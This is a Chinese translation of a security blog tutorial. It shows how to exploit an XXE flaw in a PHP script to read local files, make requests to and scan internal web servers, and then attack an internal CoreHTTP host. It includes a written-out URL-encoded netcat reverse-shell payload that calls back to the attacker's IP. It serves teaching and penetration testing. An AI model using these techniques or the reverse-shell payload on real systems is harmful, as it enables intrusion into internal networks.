XML外部实体——超越/etc/passwd(乐趣与收益)
Robert Schwass*//
上周一天内我被两次问及是否了解XML外部实体(XXE)漏洞。也许它们正在主流安全话题或销售术语中卷土重来,我不确定。(通常媒体或销售工程师传播的流行词会成为我许多对话的驱动因素。)
如果你需要澄清XXE漏洞的细节,已有一些优秀的文章解释,可以查看Carrie Roberts的GIAC金皮书。直到最近,XXE从未让我感到兴奋。通常,我只是利用该漏洞读取本地系统的文件。有些漏洞让我垂涎并希望找到,但XXE从未是其中之一。
于是我开始研究exploit-db上的最新XXE漏洞,观看YouTube上的演讲,并阅读关于XXE的论文、博客和文章。OWASP文档是一个不错的起点:https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing。在OWASP信息中吸引我注意的是“攻击者可能利用此受信任的应用程序跳转到其他内部系统,通过http(s)请求披露其他内部内容,或对任何未受保护的内部服务发起CSRF攻击。”
现在我们来谈谈,看看我们能做什么!
当今许多XML解析器实现的伟大之处在于,它们默认允许XXE利用。
以下是一个PHP脚本,它解析发送给它的XML并将其回显给用户。我将我的脚本命名为NEW_XXE.php,并将其放在Web根目录下的CUSTOM目录中。这个“应用程序”绝对什么都不做,但谁在乎呢,我们想折腾解析器本身。
我将此PHP脚本安装在WEBSVR01上。
|
|
如果你想在实验室中创建此场景,可以将上述脚本放入你的PHP服务器(确保安装php-xml)。
现在创建一个XML文件,内容如下,作为请求发送到服务器。我将其命名为“send.txt”,并从WEBSVR01发送到localhost,以确保本地一切正常。
|
|
在stuff中放入任何内容,并像这样发送到WEBSVR01 aka localhost。
查看回显的响应。
所以“应用程序”已启动并运行。很好。现在我们可以折腾解析器了。
让我们调用一些外部实体
修改“send.txt”为以下内容。
|
|
这是对Linux系统的典型XXE攻击,是证明漏洞存在的好方法。如果一切正常,你应该得到“/etc/passwd”的转储。
从WEBSVR01再次发送到localhost。
你可以用XXE做的另一件非常有用的的事情是创建HTTP请求。
在WEBSVR01上启动python SimpleHTTPServer on port 8888,让我们看看会发生什么。
|
|
在我的python http服务器上。
酷,我们可以发送http请求。
从远程系统,我可以利用此漏洞获取一些网络信息。首先让我描绘一下场景,你在互联网上的一个Web服务器上发现此漏洞,并想将其用作跳板点。
下图展示了一切。我获得了一个在34.200.157.128上的Web服务器,该主机实际上是NAT/防火墙设备后的WEBSVR01。WEBSVR01有一个XXE漏洞,我想用它来收集信息并可能利用WEBSRV02。我坐在开放的互联网上,在我的攻击PC上。
你知道这是一个Ubuntu服务器,因为你进行了适当的枚举。有几个地方你可以查看以获取此服务器的网络信息。
首先,你想抓取“/etc/networking/interfaces”,如果你需要更多信息,请查看“/proc/net/route”(这些值是十六进制的,如果需要,你可能需要转换它们)。
让我带你完成它。从我的攻击PC(Ubuntu 14 LTS),我创建请求文件以从易受攻击的Web服务器抓取“/etc/network/interfaces”。
在攻击PC上编辑文件以抓取/etc/passwd:
|
|
发出请求:
很好!我们现在知道此主机所在的内部网络或DMZ的IP方案。
让我们通过XXE使用其内部IP地址10.0.0.3抓取此服务器的默认页面。
注意!有些字符会破坏XML。到目前为止,我们只查看了文件或进行了简单的http请求,这些请求没有返回会破坏我们XML的字符。由于我们使用PHP,我们可以对返回的内容进行base64编码。在攻击PC上,更改你的“send.txt”以匹配以下内容,添加以下PHP过滤器。
|
|
现在发送请求
我们得到一些base64返回。一旦解码,我们就有了页面内容。
构建一个HTTP扫描器!
将这一切结合起来,我现在可以扫描内部IP范围以查找Web服务器。
当然需要一些Python。
你可以在我的GitHub上获取脚本:这里。
从攻击PC,执行!
让我们看看从10.0.0.4返回的数据的Base64解码是什么。
嗯…… CoreHTTP?
在exploit-db.com上有一个不错的小漏洞:https://www.exploit-db.com/exploits/10610/
由于我们得到一个index.pl(Perl)文件,我假设启用了CGI,所以此漏洞可能有效。它通过GET请求传递参数来工作,因此我们可以通过面向外部主机的XXE漏洞来利用它。
解密Metasploit模块后,需要发送的请求看起来像这个URL编码的http请求:
http://10.0.0.4/index.pl?%60mknod%20backpipe%20p%20%26%26%20nc%2034.200.157.80%201337%200%3Cbackpipe%20%7C%20%2Fbin%2Fbash%201%3Ebackpipe%26%60
注意我放入了我的IP地址“34.200.157.80”和我的Netcat监听器将使用的端口。整个字符串是一个URL编码的反向Netcat shell,没有“-e”支持,利用mknod和backpipe。
所以让我们通过XXE漏洞在10.0.0.4上触发漏洞利用。
在攻击PC上创建一个Netcat监听器并执行!
看起来像一个反向Shell!
所以你有它。一个关于从外部主机利用XML外部实体漏洞,并利用它来利用内部主机漏洞的小教程。我要感谢BHIS,并特别感谢Carrie Roberts的优秀金皮书。
*Robert是我们博客的客座作者。有兴趣客座发文吗?联系我们这里。 加入BHIS博客邮件列表——当我们发布新博客、网络直播和播客时获得通知。 [jetpack_subscription_form show_only_email_and_button=”true” custom_background_button_color=”undefined” custom_text_button_color=”undefined” submit_button_text=”Subscribe” submit_button_classes=”undefined” show_subscribers_total=”true” ]
单命令获取Web服务器截图 如何使用Nmap与Meterpreter
2 评论
asdf
2017年5月1日 @
下午6:24
是XXE,不是XEE。
BHIS
2017年5月2日 @
上午8:14
哎呀!感谢提醒,已更新 🙂